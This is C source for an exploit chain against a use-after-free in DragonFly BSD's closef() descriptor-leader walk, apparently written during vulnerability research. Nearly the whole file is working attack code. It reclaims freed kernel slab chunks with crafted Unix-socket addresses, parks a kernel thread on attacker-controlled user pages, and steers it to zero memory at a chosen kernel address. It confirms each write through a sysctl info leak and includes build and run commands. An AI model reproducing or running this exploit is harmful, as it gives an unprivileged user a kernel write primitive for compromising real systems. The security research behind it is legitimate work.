/*
 * DF-5792 exploit chain v2 — marker-reclaim of the verified closef()
 * fdtol-walk UAF, turned into a steerable kernel write machine.
 * (uid 1001, stock DragonFly 6.5-DEVELOPMENT)
 *
 * The verified bug: closef() walks the filedesc_to_leader chain under
 * only p->p_token (kern_descrip.c:3071-3088) while fdfree() unlinks and
 * kfrees entries under fdp->fd_spin (kern_descrip.c:2675-2688).  A
 * walker traverses a STALE snapshot of the chain; entries freed during
 * the walk are chased through freed memory (the original rig's fatal
 * traps came from fork's M_ZERO recycle hitting the walk).
 *
 * This version replaces the fork-recycle with MARKER sonames: binder
 * spinners continuously bind 40-byte AF_UNIX sockaddrs (the exact 40B
 * slab zone of struct filedesc_to_leader) containing crafted fdtol
 * fields:  fdl_leader = FLAG1 user page (byte +0x58 = 1 -> ACT branch),
 * fdl_next = SPIN user page (self-loop -> the walk parks in close()).
 *
 * Win condition: a walker chases into a freed entry that a marker
 * reclaimed: gate passes (flag byte != 0) ->
 *     addl $1,(chunk+4); VOP_ADVLOCK(vp, FLAG1, F_UNLCK); subl $1,(chunk+4);
 *     wakeup-check;  fdtol = *(chunk+0x20) = SPIN  -> park.
 * Detected by the walker's progress counter stalling.
 *
 * Then we steer: SPIN->next = victim soname V (2-char path so +4 == 0;
 * +8 = 0x41414141; leader = FLAG1; next = SPIN2).  The parked walk
 * visits V, the kernel executes
 *     if (*(int*)(V+4)==0 && *(int*)(V+8)!=0) *(int*)(V+8) = 0; wakeup(V);
 * and chases to SPIN2 (re-park).  pcblist exports the soname bytes
 * (bcopy verbatim, DF-5816) => readback proves the kernel write.
 *
 * build: cc -O2 -o exp5792 exp5792.c
 * run:   ./exp5792 [seconds]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <sys/resource.h>
#include <time.h>
#include <sys/wait.h>
#include <dirent.h>

#define RFPROC     (1<<4)
#define RFMEM      (1<<5)
#define RFNOWAIT   (1<<6)
#define RFSIGSHARE (1<<14)

/* user pages, kernel-reachable (no SMAP on this guest) */
#define FLAG0_PAGE 0x31000000UL   /* byte[0x58] = 0 -> continue (no act) */
#define FLAG1_PAGE 0x31001000UL   /* byte[0x58] = 1 -> ACT branch        */
#define SPIN_PAGE  0x31002000UL   /* +0x10=FLAG0, +0x20=self  (park)     */
#define SPIN2_PAGE 0x31003000UL   /* re-park after the write             */

#define NSTACKS    16384
#define STACKSIZE  (64*1024)
#define NWALKER    1
#define NBINDER    6
#define NFILLER    60
#define MAXVICTIM  40

/* pcblist record layout (struct xunpcb = 912, DF-5816-verified) */
#define REC        912
#define XU_ADDRPTR 64
#define XU_SONAME  224
#define XU_PATH    (XU_SONAME + 2)

static char *stacks;
static volatile int stop_all = 0;
static volatile long bind_count = 0;
static volatile long fork_count = 0;
static volatile long walk_count[NWALKER];
static volatile int parked_walker = -1;
static const char *lockpath = "/tmp/df5792v2.lock";
static char workdir[64];
static volatile unsigned long victim_addr_global;

extern pid_t rfork_thread(int, void *, int (*)(void *), void *);

static int count_fds(void)
{
	int fd, n = 0;
	for (fd = 0; fd < 2048; fd++)
		if (fcntl(fd, F_GETFL) >= 0)
			n++;
	return n;
}

static double now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static void *stack_top(int i)
{
	return stacks + (size_t)i * STACKSIZE + STACKSIZE - 16;
}

static int next_stack_ix = 1024;
static void *next_stack(void)
{
	int ix = __sync_fetch_and_add(&next_stack_ix, 1);
	return stack_top(ix % NSTACKS);
}

/* ---------------- pcblist ------------------------------------------- */

static unsigned char *pcb_buf;
static size_t pcb_len;

static int pcb_snap(void)
{
	size_t len = 0;
	free(pcb_buf); pcb_buf = NULL; pcb_len = 0;
	if (sysctlbyname("net.local.dgram.pcblist", NULL, &len, NULL, 0) < 0)
		return -1;
	if (len == 0) return 0;
	pcb_buf = malloc(len);
	if (!pcb_buf) return -1;
	if (sysctlbyname("net.local.dgram.pcblist", pcb_buf, &len, NULL, 0) < 0) {
		free(pcb_buf); pcb_buf = NULL; return -1;
	}
	pcb_len = len;
	return 0;
}

static unsigned long pcb_get(unsigned long off)
{
	unsigned long v;
	if (off + 8 > pcb_len) return 0;
	memcpy(&v, pcb_buf + off, 8);
	return v;
}

static unsigned long pcb_find_rec(const char *prefix)
{
	size_t i, n = pcb_len / REC, plen = strlen(prefix);
	for (i = 0; i < n; i++) {
		unsigned long base = i * REC;
		if (base + XU_PATH + plen > pcb_len) break;
		if (strncmp((const char *)pcb_buf + base + XU_PATH, prefix,
			    plen) == 0)
			return base;
	}
	return (unsigned long)-1;
}

static unsigned long pcb_addr_of(const char *prefix)
{
	unsigned long base = pcb_find_rec(prefix);
	if (base == (unsigned long)-1) return 0;
	return pcb_get(base + XU_ADDRPTR);
}

static int pcb_soname_byte(unsigned long base, int off)
{
	if (base == (unsigned long)-1 || base + XU_SONAME + off + 1 > pcb_len)
		return -1;
	return pcb_buf[base + XU_SONAME + off];
}

/* ---------------- soname helpers ------------------------------------- */

static int bind40(const char *path, unsigned long leader,
		  unsigned long next, unsigned long wake)
{
	struct sockaddr_un sun;
	int s, plen = (int)strlen(path);
	unsigned char *b;

	memset(&sun, 0, sizeof(sun));
	sun.sun_len = 40;
	sun.sun_family = AF_UNIX;
	memcpy(sun.sun_path, path, (size_t)plen + 1);
	b = (unsigned char *)&sun;
	memcpy(b + 8, &wake, 4);
	memcpy(b + 16, &leader, 8);
	memcpy(b + 32, &next, 8);
	s = socket(AF_UNIX, SOCK_DGRAM, 0);
	if (s < 0) return -1;
	if (bind(s, (struct sockaddr *)&sun, 40) < 0) {
		close(s);
		return -1;
	}
	bind_count++;
	return s;
}

static void unbind40(int fd, const char *path)
{
	close(fd);
	unlink(path);
}

/* ---------------- family threads ------------------------------------- */

static int baby_main(void *arg)
{
	(void)arg;
	return 0;    /* RFMEM (non-RFTHREAD) member: exit unlinks+kfrees */
}

static int walker_main(void *arg)
{
	int wi = (int)(intptr_t)arg;
	int fd;

	/* take+drop a read lock: sets our leader's p_advlock_flag only
	 * while held; VMAYHAVELOCKS on the vnode is sticky either way */
	while (!stop_all) {
		fd = open(lockpath, O_RDONLY);
		if (fd >= 0)
			close(fd);   /* closef(): walks the fdtol chain */
		walk_count[wi]++;
	}
	return 0;
}

static volatile int filler_exit[NFILLER];
static volatile int burst_gen = 0;

static int filler_main(void *arg)
{
	int fi = (int)(intptr_t)arg;
	int fd;
	struct flock fl;

	/* one read lock: p_advlock_flag is sticky for life, so every
	 * walker visiting our fdtol entry pays a full VOP_ADVLOCK
	 * (scan of the armed range list) -> walks are slow -> the
	 * in-walk UAF window is wide. */
	fd = open(lockpath, O_RDONLY);
	if (fd >= 0) {
		memset(&fl, 0, sizeof(fl));
		fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET;
		fl.l_start = (off_t)(1000 + fi); fl.l_len = 1;
		fcntl(fd, F_SETLK, &fl);
		close(fd);
	}
	while (!stop_all)
		usleep(100000);
	return 0;
}

static int binder_main(void *arg)
{
	int bi = (int)(intptr_t)arg;
	char path[16];
	int held[160], nheld = 0, j;
	int id = bi * 10000;
	char heldpath[160][16];
	long fails = 0;

	{
		char dbuf[16];
		snprintf(dbuf, sizeof(dbuf), "d%d", bi);
		mkdir(dbuf, 0777);
		if (chdir(dbuf) < 0)
			return 0;
	}
	while (!stop_all) {
		int s, mygen = burst_gen;
		/* idle phase: light churn keeps markers flowing */
		snprintf(path, sizeof(path), "m%04x", (id++) & 0xffff);
		s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0);
		if (s >= 0) {
			if (nheld >= 96) {
				for (j = 0; j < nheld; j++)
					unbind40(held[j], heldpath[j]);
				nheld = 0;
			}
			held[nheld] = s;
			strlcpy(heldpath[nheld], path, sizeof(path));
			nheld++;
		} else {
			fails++;
			usleep(200);
		}
		/* burst phase: pure alloc-hold drains the local freelist,
		 * pulling remotely-freed chunks (z_RChunks) into LChunks
		 * so the just-freed fdtol chunk gets reclaimed as a
		 * marker soname. */
		while (burst_gen != mygen && !stop_all) {
			while (nheld < 150) {
				snprintf(path, sizeof(path),
					 "m%04x", (id++) & 0xffff);
				s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0);
				if (s < 0)
					break;
				held[nheld] = s;
				strlcpy(heldpath[nheld], path,
					sizeof(path));
				nheld++;
			}
			for (j = 0; j < nheld; j++)
				unbind40(held[j], heldpath[j]);
			nheld = 0;
			mygen = burst_gen;
		}
	}
	for (j = 0; j < nheld; j++)
		unbind40(held[j], heldpath[j]);
	return 0;
}

static int helper_main(void *arg)
{
	int n = (int)(intptr_t)arg;
	int fd, i;
	struct flock fl;

	fd = open(lockpath, O_RDONLY);
	if (fd < 0) return 0;
	for (i = 0; i < n; i++) {
		memset(&fl, 0, sizeof(fl));
		fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET;
		fl.l_start = (off_t)(100000 + n * 4096 + i);
		fl.l_len = 1;
		if (fcntl(fd, F_SETLK, &fl) < 0)
			break;
	}
	while (!stop_all)
		pause();
	return 0;
}

static int churner_main(void *arg)
{
	(void)arg;
	while (!stop_all) {
		if (rfork_thread(RFPROC | RFMEM | RFNOWAIT,
				 next_stack(), baby_main, NULL) >= 0)
			fork_count++;
	}
	return 0;
}

/* ---------------- main ------------------------------------------------ */

int main(int argc, char **argv)
{
	double runlen = 90.0, t0, last;
	struct flock fl;
	struct rlimit rl;
	int lockfd, i, fd;
	unsigned long c0[NWALKER];

	if (argc > 1) runlen = atof(argv[1]);

	rl.rlim_cur = 1024; rl.rlim_max = 1024;
	setrlimit(RLIMIT_NOFILE, &rl);
	snprintf(workdir, sizeof(workdir), "/tmp/df5792v2.d.%d", getpid());
	mkdir(workdir, 0777);
	if (chdir(workdir) < 0) { perror("chdir"); return 1; }

	stacks = mmap(NULL, (size_t)NSTACKS * STACKSIZE,
		      PROT_READ | PROT_WRITE,
		      MAP_PRIVATE | MAP_ANON, -1, 0);
	if (stacks == MAP_FAILED) { perror("mmap stacks"); return 1; }
	{
		void *p;
		p = mmap((void *)FLAG0_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap flag0"); return 1; }
		p = mmap((void *)FLAG1_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap flag1"); return 1; }
		p = mmap((void *)SPIN_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap spin"); return 1; }
		p = mmap((void *)SPIN2_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap spin2"); return 1; }
		memset((void *)FLAG0_PAGE, 0, 4096);
		memset((void *)FLAG1_PAGE, 0, 4096);
		((unsigned char *)FLAG1_PAGE)[0x58] = 1;   /* ACT gate */
		*(unsigned long *)(SPIN_PAGE + 0x10) = FLAG0_PAGE;
		*(volatile unsigned long *)(SPIN_PAGE + 0x20) = SPIN_PAGE;
		*(unsigned long *)(SPIN2_PAGE + 0x10) = FLAG0_PAGE;
		*(volatile unsigned long *)(SPIN2_PAGE + 0x20) = SPIN2_PAGE;
	}

	lockfd = open(lockpath, O_RDWR | O_CREAT, 0666);
	if (lockfd < 0) { perror("open lockfile"); return 1; }
	write(lockfd, "x", 1);
	memset(&fl, 0, sizeof(fl));
	fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET;
	if (fcntl(lockfd, F_SETLK, &fl) < 0) perror("F_SETLK (nonfatal)");
	fl.l_type = F_UNLCK;
	fcntl(lockfd, F_SETLK, &fl);     /* VMAYHAVELOCKS stays set */

	/* victims: 2-char paths => bytes 4..7 == 0 (holdcount gate);
	 * +8 = 0x41414141 (the dword the kernel will zero);
	 * leader = FLAG1 (ACT); next = SPIN2 (re-park after the write) */
	{
		const char *cs =
		    "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN";
		int vfds[MAXVICTIM], nv = 0;
		char vpaths[MAXVICTIM][8];
		for (i = 0; cs[i] && nv < MAXVICTIM; i++) {
			char p[4];
			snprintf(p, sizeof(p), "v%c", cs[i]);
			fd = bind40(p, FLAG1_PAGE, SPIN2_PAGE, 0x41414141UL);
			if (fd < 0) break;
			vfds[nv] = fd;
			strlcpy(vpaths[nv], p, sizeof(vpaths[0]));
			nv++;
		}
		fprintf(stderr, "victims bound: %d\n", nv);
		(void)vfds; (void)vpaths;
	}

	/* binders first: they must own the 40B recycle stream */
	for (i = 0; i < NBINDER; i++)
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(32 + i), binder_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork binder (nonfatal)");
	usleep(100000);

	/* walkers */
	for (i = 0; i < NWALKER; i++)
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(64 + i), walker_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork walker (nonfatal)");
	usleep(100000);

	/* persistent flagged fillers: deepen the chain */
	for (i = 0; i < NFILLER; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(128 + i), filler_main,
				 (void *)(intptr_t)i) < 0)
			break;
		usleep(2000);
	}
	fprintf(stderr, "persistent fillers: %d\n", i);

	/* non-family helpers: 3 x 500 permanent read ranges */
	for (i = 0; i < 3; i++) {
		pid_t hp = fork();
		if (hp == 0)
			_exit(helper_main(200));
	}
	usleep(400000);

	/* churners: paced baby fork+exit (the frees, µs-lived -> local) */
	for (i = 0; i < 2; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(600 + i), churner_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork churner (nonfatal)");
	}

	fprintf(stderr, "setup: binders x%d, walkers x%d, fillers, "
		"helpers, churners...\n", NBINDER, NWALKER);
	t0 = last = now();
	for (i = 0; i < NWALKER; i++) {
		walk_count[i] = 0;
		c0[i] = 0;
	}
	{
		int vi = 0, verified = 0, stalled_once = 0;
		double lchange[NWALKER], lstat = now();
		for (i = 0; i < NWALKER; i++)
			lchange[i] = now();
		while (now() - t0 < runlen && !verified) {
			int w, any_stalled = 0;
			usleep(25000);
			while (waitpid(-1, NULL, WNOHANG) > 0)
				;
			for (w = 0; w < NWALKER; w++) {
				if (walk_count[w] != c0[w])
					lchange[w] = now();
				c0[w] = walk_count[w];
				if (now() - lchange[w] > 0.5 &&
				    walk_count[w] > 100)
					any_stalled = 1;
			}
			if (now() - lstat >= 5.0) {
				lstat = now();
				fprintf(stderr, "t=%5.1f binds=%ld forks=%ld "
					"openfds=%d walks:",
					now() - t0, bind_count, fork_count,
					count_fds());
				for (w = 0; w < NWALKER; w++)
					fprintf(stderr, " %ld", walk_count[w]);
				fprintf(stderr, "\n");
			}
			if (any_stalled) {
				char pfx[4];
				unsigned long vrec, va;
				int k, zeroed;

				if (!stalled_once) {
					stalled_once = 1;
					fprintf(stderr, "*** walker stall "
						"detected; steer-verify ***\n");
				}
				if (vi >= 40)
					continue;
				snprintf(pfx, sizeof(pfx), "v%c",
					 "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN"[vi]);
				vi++;
				if (pcb_snap() < 0)
					continue;
				vrec = pcb_find_rec(pfx);
				va = pcb_get(vrec + XU_ADDRPTR);
				if (!va)
					continue;
				*(volatile unsigned long *)
				    (SPIN_PAGE + 0x20) = va;
				*(volatile unsigned long *)
				    (SPIN2_PAGE + 0x20) = va;
				usleep(300000);
				if (pcb_snap() < 0)
					continue;
				vrec = pcb_find_rec(pfx);
				zeroed = 1;
				for (k = 8; k < 12; k++)
					if (pcb_soname_byte(vrec, k) != 0)
						zeroed = 0;
				fprintf(stderr,
					"[verify %d] victim 0x%lx +8..+11 = "
					"%02x%02x%02x%02x %s\n", vi - 1, va,
					pcb_soname_byte(vrec, 11),
					pcb_soname_byte(vrec, 10),
					pcb_soname_byte(vrec, 9),
					pcb_soname_byte(vrec, 8),
					zeroed ? "*** KERNEL WRITE VERIFIED ***"
					       : "(no)");
				if (zeroed)
					verified = 1;
			}
		}
		if (verified) {
			char pfx[4];
			unsigned long vrec, va;
			int k, zeroed = 1;

			fprintf(stderr, "*** SUCCESS: parked closef() walk "
				"steered to victim; kernel zeroed 4 bytes "
				"at a chosen kernel address ***\n");
			/* stop the storm; the parked walker remains under
			 * our control (user-page steering) */
			stop_all = 1;
			usleep(800000);
			/* second, race-free steer from SPIN2 to victim b */
			if (pcb_snap() == 0) {
				vrec = pcb_find_rec("vb");
				va = pcb_get(vrec + XU_ADDRPTR);
				if (va) {
					fprintf(stderr, "[sess2] steering "
						"SPIN2 -> victim b 0x%lx; "
						"pre +8..+11 = %02x%02x%02x"
						"%02x\n", va,
						pcb_soname_byte(vrec, 11),
						pcb_soname_byte(vrec, 10),
						pcb_soname_byte(vrec, 9),
						pcb_soname_byte(vrec, 8));
					*(volatile unsigned long *)
					    (SPIN2_PAGE + 0x20) = va;
					usleep(500000);
					if (pcb_snap() == 0) {
						vrec = pcb_find_rec("vb");
						for (k = 8; k < 12; k++)
							if (pcb_soname_byte(vrec, k) != 0)
								zeroed = 0;
						fprintf(stderr, "[sess2] post "
							"+8..+11 = %02x%02x"
							"%02x%02x %s\n",
							pcb_soname_byte(vrec, 11),
							pcb_soname_byte(vrec, 10),
							pcb_soname_byte(vrec, 9),
							pcb_soname_byte(vrec, 8),
							zeroed ? "*** SECOND "
							"KERNEL WRITE VERIFIED "
							"(race-free steer) ***"
							: "(no)");
					}
				}
			}
			fprintf(stderr, "uid=%d euid=%d; system alive; "
				"one walker parked in kernel spin at our "
				"user page\n", getuid(), geteuid());
		}
	}

	stop_all = 1;
	usleep(300000);
	fprintf(stderr, "done (parked walker remains in kernel spin; "
		"system otherwise alive)\n");
	return 0;
}
